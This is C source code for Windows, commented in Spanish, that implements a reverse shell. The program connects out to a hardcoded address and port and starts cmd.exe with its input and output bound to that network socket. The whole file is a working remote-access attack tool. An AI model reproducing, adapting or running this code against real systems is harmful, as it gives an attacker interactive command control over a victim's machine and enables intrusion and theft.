#include <stdio.h>
#include <winsock2.h>
 
 
int ReverseShell(char *Ip, short port);
 
WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
 
struct sockaddr_in Winsock_In;
 
STARTUPINFO start_proc; 
PROCESS_INFORMATION info_proc;
 
int main(int argc, char *argv[])
{
 
    ReverseShell("192.168.1.5", 3200);
    system("PAUSE");
    return EXIT_SUCCESS;
}
 
 
 
 
 
int ReverseShell(char *Ip, short port)
{
/*=========================================
A la escucha...
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*Usamos WSASocket en vez de Socket....*/
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
//IP y PUERTO
Winsock_In.sin_port=htons(port);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=inet_addr(Ip);
 
if(Winsock==INVALID_SOCKET)
{
//printf("ERROR");
 
//Error.. .salimos
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}
 
printf("\n[+] Conectando con %s:%d...",Ip,port);
//Conectamos....
if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
//printf("ERROR");
 
// Error.. Salimos
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}
 
 
 
printf("OK");
send(Winsock,"\n",strlen("\n"),0);
 
 
printf("\n[+] Lanzando shell...");
 
/*=========================================
             LANZAMOS.....
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)Winsock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
//printf("ERROR");
 
// salimos
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK\n");
}
 
return 0;
}